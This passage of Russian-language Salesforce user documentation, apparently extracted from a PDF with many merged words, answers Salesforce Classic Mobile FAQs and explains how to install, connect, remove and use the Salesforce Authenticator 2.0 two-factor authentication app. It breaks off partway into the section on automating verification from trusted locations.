Поддерживается ли приложение Salesforce Classic Mobile на моем телефоне?
Приложение Salesforce Classic Mobileподдерживается устройствами iPhone, iPod touch ибольшинствомустройств BlackBerry
и Android. Чтобыпроверитьсовместимостьприложенияииспользуемогоустройства, просмотритесписокподдерживаемых
мобильных устройств.

Прим.: Поддерживаемые функции определяются операционной системой и моделью мобильного устройства.
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Какие данные Salesforce сохраняются на моем устройстве, когда я используюприложение Salesforce
Classic Mobile?
Использование приложения Salesforce Classic Mobile для доступа к Salesforce на мобильном устройстве сильно отличается
от использования полного приложения Salesforce на вашем компьютере. Данное отличие обуславливается меньшим
объемом памяти и размером экрана, а также отсутствием постоянного подключения к сети. Именно поэтому, набор
данных Salesforce хранится в локальной базе данных мобильного устройства.

В приложении Salesforce Classic Mobile доступны следующие типы вкладок.

• Все вкладки настраиваемых объектов и следующие вкладки стандартных объектов:

– Организации

– Активы

– Вложения

– Обращения

– Контакты

– Содержимое

– События

– Группы

– Участники группы

– Интересы

– Примечания

– Возможности

– Прайс-листы

– Продукты

– Решения

– Задачи

– Пользователи

– Панели мониторинга

– Отчеты

• Веб-вкладки и вкладки Visualforce

Прим.: Вкладки и объекты, доступные в приложении, определяются мобильной конфигурацией пользователя,
поэтому некоторые перечисленные выше вкладки и объекты могут отсутствовать.

Кроме того, устройства iPhone и Android не поддерживают отчеты.

При открытии вкладки объекта могут отображаться не все записи Salesforce. Чтобы ограничить количество записей на
мобильномустройстве, администраторможетсоздатькритерийфильтрациидлякаждогомобильногообъекта. Например,
отправка всех открытых и закрытых возможностей на мобильное устройство пользователя крупной организации может
инициироватьрезкоесокращениеобъемасвободнойпамятиилисбойустройства. Взамен, администраторможетотправить
набор возможностей (например, только собственные открытые возможности, которые должны быть закрыты в текущем
месяце).
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Можно ли использовать приложение Salesforce Classic Mobile для просмотра недоступных записей
Salesforce?
Нет. Полномочия пользователя, правила общего доступа и параметры безопасности поля наследуются из системы
Salesforce, то есть все ограничения, действующие в системе Salesforce, действительны в мобильном приложении.

Как часто приложение Salesforce Classic Mobile обновляет мои данные?
ПриложениеSalesforce Classic Mobileпроверяетизмененияданныхкаждые 20 минут. Данныйспособдобавочногообновления
позволяет серверу извлекать собственные созданные записи Salesforce и отправлять их на мобильное устройство
пользователя. Кроме того, сервер отправляет изменения, внесенные в записи, которые уже хранятся на мобильном
устройстве.

Прим.: Ниже перечислены рекомендации по синхронизации данных.

• Клиентские приложения Android и BlackBerry определяют время опроса на основе частоты использования
приложения. Еслиприложениенеиспользуется, тоинтервалопроса увеличиваетсяв геометрическойпрогрессии
до восьми часов. При достижении заданного ограничения устройство выполняет опросы каждые восемь часов.
ЭтонедаетприложениюSalesforce Classic Mobileразряжатьаккумуляторустройства, когдаприложениеиспользуется
редко.

• Поскольку одновременно на iPhone может выполняться только одно приложение, Salesforce Classic Mobile не
может запросить обновление данных, если приложение не открыто. При запуске приложения на устройстве
iPhone выполняетсядобавочноеобновление, кромеслучаевсинхронизацииданныхвтечениепоследних 20 минут.

Как использовать приложение Salesforce Classic Mobile для доступа к записям, отсутствующим на
моем мобильном устройстве?
Данные Salesforce, доступные на мобильном устройстве, определяются мобильной конфигурацией пользователя. Кроме
того, пользователи могут выполнять поиск записей, которые не загружаются на мобильные устройства автоматически.
Поле поиска доступно на каждой вкладке объекта и начальной странице приложения Salesforce Classic Mobile.

Открывает ли приложение Salesforce Classic Mobile связанную запись контакта при входящем
вызове?
Приложение Salesforce Classic Mobile не открывает запись контакта Salesforce при входящем вызове. Однако, система
автоматически предлагает зарегистрировать вызов, выполненный посредством приложения Salesforce Classic Mobile.
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Средство проверки подлинности Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Добро пожаловать в совершенно новое мобильное приложение средства проверки
подлинности Salesforce! Версия 2.0 — это мощное инновационное приложение
двухфакторной проверки подлинности, предназначенное для мобильного устройства.
Приложениеповышает уровень защитывашейучетнойзаписи Salesforceиданных. Оно
было разработано чрезвычайно простым в использовании. Вы получите повышенную
безопасность и экономию — все это содержится в одном прекрасном приложении.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Что такое двухфакторная проверка подлинности?

Все мы стремимся обеспечить безопасность своих учетных записей и данных в
интернете. Двухфакторная проверка подлинности — отличный способ решить эту
задачу. Двухфакторная проверка подлинности означает, что у пользователя должно
быть два условия, или два фактора, для доступа к своей учетной записи. Первый
факторизвестенпользователю, напримеркомбинацияименипользователяипароля. Второйимеется упользователя
вналичии, напримермобильноеустройствос установленнымприложениемсистемыбезопасности. Второйфактор —
мобильное устройство с приложением системы безопасности — повышает уровень защиты учетной записи. Даже
если хакеры украдут пароль, онине смогут войти в систему, так как у нихнетмобильного устройства с установленным
средством проверки подлинности Salesforce.

Приобретение мобильного приложения средства проверки подлинности Salesforce (версия 2.0 и выше)

Средство проверки подлинности Salesforce является приложением, которое необходимо загрузить и установить на
мобильное устройство.

Требования к средству проверки подлинности Salesforce (версия 2.0 и выше)

МобильноеприложениесредствапроверкиподлинностиSalesforceподдерживаетсянаразныхмобильныхплатформах
с некоторыми требованиями к устройствам, операционной системе и к мобильному обозревателю. Подключение к
Интернету необходимо для связи с Salesforce — чтобы пользователь мог проверить действия учетной записи, а также
для автоматической проверки на основе геопозиции. Проверочные коды (контролируемые по времени разовые
пароли) могут генерироваться без подключения к Интернету на мобильном устройстве.

Рекомендации по доступности средства проверки подлинности Salesforce (версия 2.0 и выше)

Средство проверки подлинности Salesforce поддерживает режим доступности и предоставляет всем пользователям
(включая пользователей, применяющих программы для чтения экрана) полнодоступный мобильный интерфейс. В
отличиеотполнойверсиисистемы Salesforce, средствопроверкиподлинностиSalesforceпредоставляетпользователям,
работающим со вспомогательными средствами, полнодоступный интерфейс при отсутствии режима доступности.

Локальная и языковая поддержка средства проверки подлинности Salesforce (версия 2.0 и выше)

Средствопроверкиподлинности Salesforceподдерживаетпрактическивсерегионыиполностьюподдерживает языки
конечного пользователя, доступные в системе Salesforce. Полный список поддерживаемых регионов и языков см. в
справке Salesforce. Текущийвыпускнеподдерживает языки, читаемыесправаналево (например, арабскийиеврейский).

117

Средство проверки подлинности SalesforceОсновы Salesforce



Типы учетных записей средства проверки подлинности Salesforce (версия 2.0 и выше)

Мобильное приложение средства проверки подлинности Salesforce (версия 2.0 и выше) поддерживает два типа
подключаемых учетных записей. Стандартные учетные записи обладают функциями всплывающих уведомлений,
автоматическойпроверкинаосновеместоположенияипроверочногокодадлядвухфакторнойпроверкиподлинности.
Учетные записи, требующие только код, предоставляют проверочные коды.

Подключение учетной записи к средству проверки подлинности Salesforce (версия 2.0 и выше)

Подключите учетнуюзапись Salesforce кмобильномуприложениюсредства проверкиподлинности Salesforce, чтобы
использоватьприложениедлядвухфакторнойпроверкиподлинности. Внекоторыхорганизацияхвамбудетпредложено
подключитьучетнуюзаписьпривходевсистему. Вдругихжеподключениеосуществляетсячерезличныепараметры.

Удаление учетной записи из средства проверки подлинности Salesforce (версия 2.0 и выше)

Если вы больше не собираетесь пользоваться приложением для двухфакторной проверки подлинности, удалите
свою учетную запись Salesforce с мобильного приложения средства проверки подлинности Salesforce. Прежде чем
удалить учетнуюзапись сприложениясредствапроверкиподлинности Salesforceнамобильномустройстве, убедитесь,
что не потеряете доступ к учетной записи Salesforce. Обратитесь к администратору Salesforce с просьбой отключить
требование двухфакторной проверки подлинности для вашей учетной записи либо убедитесь, что у вас есть другой
доступный способ двухфакторной проверки подлинности.

Проверка действий учетной записи с помощью средства проверки подлинности Salesforce (версия 2.0 и выше) для
двухфакторной проверки подлинности
Если настройки вашей организации требуют завершения двухфакторной проверки подлинности во время входа в
систему или получения доступа к ограниченным ресурсам в Salesforce, используйте мобильное приложение средства
проверки подлинности Salesforce. Вы используете приложение для проверки идентификационных сведений при
входев системуисовершениидругихдействийсучетнойзаписью. Использованиеприложениядляпроверкидействий
учетной записи удовлетворяет требованию двухфакторной проверки подлинности.

Блокировка неопознанного действия учетной записи с помощью средства проверки подлинности Salesforce (версия
2.0 и выше)

Если вы получили уведомление с мобильного приложения средства проверки подлинности Salesforce о действии,
которое вам незнакомо, используйте приложение для его блокировки. Можно также пометить заблокированное
действие для своего администратора Salesforce.

Автоматизация двухфакторной проверки подлинности из доверенной геопозиции с помощью средства проверки
подлинности Salesforce (версия 2.0 и выше)

Включите службы геопозиции в мобильном приложении средства проверки подлинности Salesforce и используйте
приложениедля автоматическойдвухфакторнойпроверкиподлинностииздоверенногоместоположения. Вкачестве
примеров доверенных геопозиций можно назвать дом или офис.

Отключение автоматической проверки на основе геопозиции в средстве проверки подлинности Salesforce (версия
2.0 и выше)

Можно удалить местоположение из списка доверенных геопозиций, чтобы отключить автоматическую проверку в
этом месте.

118

Средство проверки подлинности SalesforceОсновы Salesforce



Что такое двухфакторная проверка подлинности?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Всемыстремимсяобеспечитьбезопасностьсвоихучетныхзаписейиданныхвинтернете.
Двухфакторная проверка подлинности — отличный способ решить эту задачу.
Двухфакторная проверка подлинности означает, что у пользователя должно быть два
условия, или двафактора, для доступа к своей учетной записи. Первыйфактор известен
пользователю, например комбинация имени пользователя и пароля. Второй имеется у
пользователявналичии, напримермобильноеустройствосустановленнымприложением
системыбезопасности. Второйфактор — мобильноеустройствосприложениемсистемы
безопасности — повышает уровень защиты учетной записи. Даже если хакеры украдут
пароль, они не смогут войти в систему, так как у них нет мобильного устройства с
установленным средством проверки подлинности Salesforce.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Многие мобильные приложения средства проверки подлинности генерируют
проверочный код, срок действия которого истекает через определенное время. Если
при входе в личный кабинет требуется двухфакторная проверка подлинности, необходимо ввести код с именем
пользователяипаролем. Средствопроверкиподлинности Salesforce также генерирует кодывсегда, когда этонеобходимо,
но версия 2.0 приложения содержит новые функции для дополнительного удобства, однако не в ущерб безопасности.

Когда кто-то пытается войти в систему илиполучить доступ к закрытымонлайн-данным вашей учетной записи, средство
проверки подлинности Salesforce отправляет уведомление на мобильное устройство пользователя. Вы открываете
приложение, чтобы просмотреть сведения о сетевой активности. После проверки данных пользователь может нажать
«Утвердить», чтобы подтвердить, что действие совершает именно он. Если действие выполнено кем-то другим,
пользователь нажимает «Отменить», чтобы заблокировать его. Можно также пометить заблокированное действие для
своего администратора Salesforce.

Если пользователь активирует службу расположения для средства проверки подлинности Salesforce, он получает еще
более мощнуюфункцию. Если пользователь находится дома или в офисе, например, он может задать для средства
проверки подлинности режим автоматического контроля действий из проверенного местоположения. Автоматизация
дает дополнительнуюзащиту за счет двухфакторнойпроверкиподлинности, ипользователюдаженепридется доставать
телефон из кармана.

Перед началом использования средства двухфакторной проверки подлинности Salesforce подключите приложение к
своей учетной записи. В системе Salesforce приложение можно подключить к организации через личные параметры.
Подключение приложения не означает, что двухфакторная проверка подлинности должна использоваться каждый раз
привходев систему. Вашадминистраторустанавливаеттребованиядвухфакторнойпроверкиподлинностивсоответствии
с политикой безопасности, принятой в вашей организации. Если администратор выставляет такое требование до
подключениясредствапроверкиподлинностиSalesforceкучетнойзаписи, вамбудетпредложеноподключитьприложение
при следующем входе в систему.

СМ. ТАКЖЕ:

Двухфакторная проверка подлинности
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Приобретение мобильного приложения средства проверки подлинности Salesforce
(версия 2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Средствопроверкиподлинности Salesforce являетсяприложением, котороенеобходимо
загрузить и установить на мобильное устройство.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Новая установка

При необходимости загрузите и установите средство проверки подлинности Salesforce
из интернет-магазина Google Play или App Store на поддерживаемые устройства Android
и iOS.

Запустите установленноеприложениенаначальномэкранеивыполните входв систему
Salesforce. В некоторых организациях вам будет предложено подключить приложение
вовремявходавсистему. Приложениетакжеможнобудетподключить, используяличные
параметры в Salesforce.

Обновление 1-й версии средства проверки подлинности Salesforce

Еслиувас установленаверсия 1 намобильномустройстве, загрузитеобновлениес App Store или Google Play. Вобновленной
версии будут сохранены подключенные учетные записи, которые уже использовались в приложении. Эти организации
требуют только ввода проверочного кода, который они генерируют, но не получают всплывающих уведомлений и не
позволяютпроизводитьавтоматическиепроверкинаосновеместоположения. Подименамитакихорганизацийвсписке
подключенных организаций в приложении отображаются коды проверки. Проверочные коды в таких организациях
действительнытолькодомоментаподключенияновыхфункцийверсии 2.0 к вашейорганизации Salesforceчерез личные
параметры. После подключения новой версии учетная запись получает полные возможности средства проверки
подлинности Salesforce версии 2.0: всплывающие уведомления, автоматические проверки на основе местоположения и
проверочные коды.

СМ. ТАКЖЕ:

Требования к средству проверки подлинности Salesforce (версия 2.0 и выше)

120

Средство проверки подлинности SalesforceОсновы Salesforce



Требования к средству проверки подлинности Salesforce (версия 2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Мобильное приложение средства проверки подлинности Salesforce поддерживается на
разных мобильных платформах с некоторыми требованиями к устройствам,
операционной системе и к мобильному обозревателю. Подключение к Интернету
необходимодлясвязис Salesforce — чтобыпользовательмогпроверитьдействияучетной
записи, а такжедля автоматическойпроверкинаоснове геопозиции. Проверочныекоды
(контролируемые по времени разовые пароли) могут генерироваться без подключения
к Интернету на мобильном устройстве.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Поддерживаемые устройства и обозреватели

Средство проверки подлинности Salesforce поддерживает книжную ориентацию в
следующих средах.

Поддерживаемая
мобильная ОС

Поддерживаемые
устройства

Приложение средства
проверки подлинности
Salesforce

iOS 8 или более поздней
версии

iPhone 5 или более поздние
модели

iOS, версия 2.0 и выше

Android 4.2 или более
поздней версии

Телефоны AndroidAndroid, версии 2.0 или
выше

С целью оптимизации производительности средства проверки подлинности Salesforce рекомендуется своевременно
обновлятьоперационныесистемымобильныхустройствипереходитьнановыемоделиустройств, еслиэтопредусмотрено
контрактом с поставщиком услуг связи. Будущие версии Salesforce могут потребовать отмены поддержки устаревших
операционныхсистем, кроме того, иногдановыеверсииоперационныхсистемимеютсвязанныеспроизводительностью
проблемы на старых устройствах.

Версии и лицензии Salesforce

Эти версии Salesforce и типы пользовательских лицензий позволяют использовать средство проверки подлинности
Salesforce для проверки подлинности и двухфакторной проверки подлинности.

Версии Salesforce

Версия Database.com Edition не
поддерживается.

• Group Edition

• Professional Edition

• Enterprise Edition

• Performance Edition

• Unlimited Edition

• Developer Edition

• Contact Manager Edition
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Типы лицензий пользователя

Данные типы лицензий не
поддерживаются: пользователи

• Пользователи Salesforce

• Платформа Salesforce и
пользователи Salesforce

портала (кромеучастниковсообщества
Salesforce), пользователи Database.com,

• Внешние пользователи Customer
Community, Customer Community Plus
и Partner Community

пользователи Sites и Site.com,
пользователиData.comипользователи
Work.com.

• Пользователипортала, являющиеся
участниками сообщества Salesforce

Беспроводное подключение

Подключение к системе Salesforce должно быть установлено по протоколу Wi-Fi или сети мобильной связи. При
подключениипосетимобильнойсвязитребуетсясеть 3G илиследующегопоколения. Дляповышенияпроизводительности
рекомендуемиспользоватьпротокол Wi-Fi или LTE. СредствопроверкиподлинностиSalesforce генерируетдействительный
проверочный код, когда устройство находится в режиме оффлайн. Вы также можете просмотреть журнал действий и
список проверенных местоположений, когда устройство работает в автономном режиме.

СМ. ТАКЖЕ:

Локальная и языковая поддержка средства проверки подлинности Salesforce (версия 2.0 и выше)

Рекомендации по доступности средства проверки подлинности Salesforce (версия 2.0 и выше)

Рекомендации по доступности средства проверки подлинности Salesforce (версия
2.0 и выше)
Средство проверки подлинности Salesforce поддерживает режим доступности и предоставляет всем пользователям
(включая пользователей, применяющих программы для чтения экрана) полнодоступный мобильный интерфейс. В
отличие от полной версии системы Salesforce, средство проверки подлинности Salesforce предоставляет пользователям,
работающим со вспомогательными средствами, полнодоступный интерфейс при отсутствии режима доступности.

Важное замечание: Версия 2.0 мобильного приложения средства проверки подлинности Salesforce будет доступна
для всех производственных организаций в App Store и Google Play после завершения выпуска Spring '16 Salesforce 13
февраля 2016 г. Приложение недоступно для предварительного просмотра или тестирования в безопасных
организациях.

Дополнительную информацию об использовании программы для чтения экрана см. в документации к мобильному
устройству.

СМ. ТАКЖЕ:

Требования к средству проверки подлинности Salesforce (версия 2.0 и выше)
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Локальная и языковая поддержка средства проверки подлинности Salesforce (версия
2.0 и выше)
Средство проверки подлинности Salesforce поддерживает практически все регионы и полностью поддерживает языки
конечногопользователя, доступныев системе Salesforce. Полныйсписокподдерживаемыхрегионови языков см. в справке
Salesforce. Текущий выпуск не поддерживает языки, читаемые справа налево (например, арабский и еврейский).

Важное замечание: Версия 2.0 мобильного приложения средства проверки подлинности Salesforce будет доступна
для всех производственных организаций в App Store и Google Play после завершения выпуска Spring '16 Salesforce 13
февраля 2016 г. Приложение недоступно для предварительного просмотра или тестирования в безопасных
организациях.

СМ. ТАКЖЕ:

Требования к средству проверки подлинности Salesforce (версия 2.0 и выше)

Типы учетных записей средства проверки подлинности Salesforce (версия 2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Мобильное приложение средства проверки подлинности Salesforce (версия 2.0 и выше)
поддерживает два типа подключаемых учетных записей. Стандартные учетные записи
обладаютфункциямивсплывающихуведомлений, автоматическойпроверкинаоснове
местоположения и проверочного кода для двухфакторной проверки подлинности.
Учетные записи, требующие только код, предоставляют проверочные коды.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Стандартные учетные записи

В списке подключенных учетных записей стандартные учетные записи имеют значок
> в крайнем правом углу. Коснитесь строки с учетной записью в любом месте, чтобы
перейти к странице сведений об организации. Страница сведений отображает
информацию об учетной записи, в том числе ее последние действия. На ней также
отображается текущий проверочный код.

Учетные записи, требующие только код

Для таких учетных записей в списке отображается только проверочный код под именем пользователя. Учетные записи,
требующие только ввода кода, не имеют страницы сведений.

СМ. ТАКЖЕ:

Подключение учетной записи к средству проверки подлинности Salesforce (версия 2.0 и выше)

Удаление учетной записи из средства проверки подлинности Salesforce (версия 2.0 и выше)
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Подключение учетной записи к средству проверки подлинности Salesforce (версия
2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Подключите учетную запись Salesforce к мобильному приложению средства проверки
подлинности Salesforce, чтобыиспользовать приложение для двухфакторнойпроверки
подлинности. В некоторых организациях вам будет предложено подключить учетную
запись при входе в систему. В других же подключение осуществляется через личные
параметры.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Если необходимо подключить средство проверки подлинности Salesforce к учетной
записиSalesforceпривходевсистему, следуйтеинструкциямнаэкране. Чтобыподключить
приложение через личные параметры в Salesforce, необходимо выполнить следующие
действия.

1. Выполните вход в систему Salesforce.

2. Загрузите и установите приложение Salesforce Authenticator версии 2.0 или выше для
используемогомобильного устройства. Для iPhone приложениедоступновApp Store.
Для устройств Android приложение доступно в Google Play.

Еслиранеевыустановиливерсиюсредствапроверкиподлинности 1 Salesforceнасвоемобильноеустройство, обновите
приложение до версии 2.0 через App Store или Google Play. В обновленной версии будут сохранены подключенные
учетные записи, которыеужеиспользовалисьвприложении. Этиучетные записитребуюттольковводапроверочного
кода, которыйонигенерируют, нонеполучаютвсплывающихуведомленийинепозволяютвыполнятьавтоматическую
проверку на основе местоположения. Под именами таких организаций в списке подключенных организаций в
приложенииотображаютсякодыпроверки. Чтобыповторноподключитьучетнуюзаписьстакимименемпользователя,
выполните следующие действия. Переподключение организации обеспечивает доступ к полному функционалу
Salesforce Authenticator версии 2.0: всплывающим уведомлениям, автоматической гелокационной проверке и
проверочным кодам.

3. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

4. Найдите функцию «Регистрация приложения: средство проверки подлинности Salesforce» и нажмите на
«Подключить».

5. Из соображений безопасности выполните вход в учетную запись еще раз.

6. Откройте приложение средства проверки подлинности Salesforce на своем мобильном устройстве.

Если приложение запускается впервые, выполняется обзор функционала. Просмотрите обзор или сразу добавьте
организацию Salesforce в приложение.

7. Для добавления организации нажмите в приложении +.

Приложение генерирует уникальнуюфразу из двух слов.

8. Вернувшись в обозреватель, введите фразу в поле «Фраза из двух слов» и нажмите на «Подключить».
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Если на мобильном устройстве установлено приложение для создания кодов проверки для организации, вам может
быть выслано уведомление. При подключении приложения Salesforce Authenticator версии 2.0 коды, создаваемые
старым приложением, становятся недействительными. С этого момента все коды будут создаваться в приложении
Salesforce Authenticator.

9. В приложении проверки подлинности Salesforce на вашем мобильном устройстве проверьте сведения об учетной
записи, к которой подключаетесь.

10. Чтобы завершить процесс подключения к учетной записи, коснитесь «Подключить» в приложении.

СМ. ТАКЖЕ:

Типы учетных записей средства проверки подлинности Salesforce (версия 2.0 и выше)

Удаление учетной записи из средства проверки подлинности Salesforce (версия 2.0 и выше)

Удаление учетной записи из средства проверки подлинности Salesforce (версия 2.0
и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Есливыбольшенесобираетесьпользоватьсяприложениемдлядвухфакторнойпроверки
подлинности, удалитесвоюучетнуюзаписьSalesforce смобильногоприложениясредства
проверки подлинности Salesforce. Прежде чем удалить учетную запись с приложения
средства проверки подлинности Salesforce на мобильном устройстве, убедитесь, что не
потеряете доступ к учетной записи Salesforce. Обратитесь к администратору Salesforce с
просьбой отключить требование двухфакторной проверки подлинности для вашей
учетнойзаписилибоубедитесь, что у вас есть другойдоступныйспособдвухфакторной
проверки подлинности.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Найдите функцию «Регистрация приложения: средство проверки подлинности Salesforce» и нажмите кнопку
«Отключить».

3. Найдите функцию «Регистрация приложения: генератор разовых паролей» и нажмите кнопку «Отключить».

4. Откройте приложение средства проверки подлинности Salesforce на своем мобильном устройстве.

5. В списке подключенных учетных записей приложения найдите учетную запись, которую нужно удалить.

6. Проведите пальцем влево по имени пользователя учетной записи.

7. Коснитесь кнопки «Удалить» или «Стереть», в зависимости от того, какая из них появится.
Возникнет диалоговое окно подтверждения.
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8. Чтобы подтвердить удаление учетной записи, коснитесь кнопки «Удалить».

СМ. ТАКЖЕ:

Типы учетных записей средства проверки подлинности Salesforce (версия 2.0 и выше)

Подключение учетной записи к средству проверки подлинности Salesforce (версия 2.0 и выше)

Проверка действий учетной записи с помощью средства проверки подлинности
Salesforce (версия 2.0 и выше) для двухфакторной проверки подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Если настройки вашей организации требуют завершения двухфакторной проверки
подлинностивовремя входа в системуилиполучениядоступа кограниченнымресурсам
в Salesforce, используйте мобильное приложение средства проверки подлинности
Salesforce. Вы используете приложение для проверки идентификационных сведений
при входе в систему и совершении других действий с учетной записью. Использование
приложения для проверки действий учетной записи удовлетворяет требованию
двухфакторной проверки подлинности.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Перед началом использования приложения двухфакторной проверки подлинности
подключите приложение к учетной записи. Если вы совершаете какие-либо действия,
которые требуютпроверкив системе Salesforce, выполучите уведомление сприложения
средства проверки подлинности Salesforce на мобильное устройство.

1. Ответьте на уведомление, открыв приложение средства проверки подлинности
Salesforce на своем мобильном устройстве.
Приложениеотображает сведенияодействиях учетнойзаписи, в томчислеимяпользователя, услугу, доступк которой
пытаются получить (например, Salesforce) и информацию об используемом для этого устройстве. Если включены и
доступныслужбы геопозиции, приложениепоказывает текущееместоположениепользователя. Ввидуособенностей
геолокационнойтехнологииточностьполей геолокации (например, страна, город, улица) можетбытьнестабильной.

2. Проверьте информацию.

3. Если сведения вам известны, коснитесь кнопки «Подтвердить» на своем мобильном устройстве.
В системе Salesforce вы входите или предоставляете доступ к нужному ресурсу.

СМ. ТАКЖЕ:

Что такое двухфакторная проверка подлинности?

Автоматизация двухфакторной проверки подлинности из доверенной геопозиции с помощью средства проверки
подлинности Salesforce (версия 2.0 и выше)

Блокировка неопознанного действия учетной записи с помощью средства проверки подлинности Salesforce (версия
2.0 и выше)
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Блокировка неопознанного действия учетной записи с помощью средства проверки
подлинности Salesforce (версия 2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Если вы получили уведомление с мобильного приложения средства проверки
подлинности Salesforce о действии, которое вам незнакомо, используйте приложение
для его блокировки. Можно также пометить заблокированное действие для своего
администратора Salesforce.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

1. Ответьте на уведомление, открыв приложение средства проверки подлинности
Salesforce на своем мобильном устройстве.
Приложение отображает сведения о действиях в учетной записи, в том числе имя
пользователя, услугу, доступ к которой пытаются получить (например, Salesforce), и
информацию об используемом для этого устройстве. Если включены и доступны
службыместоположений, приложениепоказывает текущееположениепользователя.
Ввиду особенностей геолокационной технологии точность полей геолокации
(например, страна, город, улица) может быть нестабильной.

2. Проверьте информацию.

3. Если сведения вам незнакомы, коснитесь кнопки «Отменить» на своем мобильном устройстве.
Приложение спросит вас о дальнейших действиях с неопознанным действием.

4. Чтобыпредотвратитьнеавторизованныйдоступк учетнойзаписииизвестить администратора Salesforceовозможном
нарушениибезопасности, коснитеськнопки«Заблокироватьипометитьдействие». Чтобыпредотвратитьполучение
доступа к учетной записи без обозначения флажком, коснитесь кнопки «Просто заблокировать действие». Если
вы коснулись кнопки «Отменить» по ошибке, нажмите на кнопку «Отмена», чтобы вернуться назад и проверить
действие.

СМ. ТАКЖЕ:

Что такое двухфакторная проверка подлинности?

Проверка действий учетной записи с помощью средства проверки подлинности Salesforce (версия 2.0 и выше) для
двухфакторной проверки подлинности
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Автоматизация двухфакторной проверки подлинности из доверенной геопозиции с
помощью средства проверки подлинности Salesforce (версия 2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
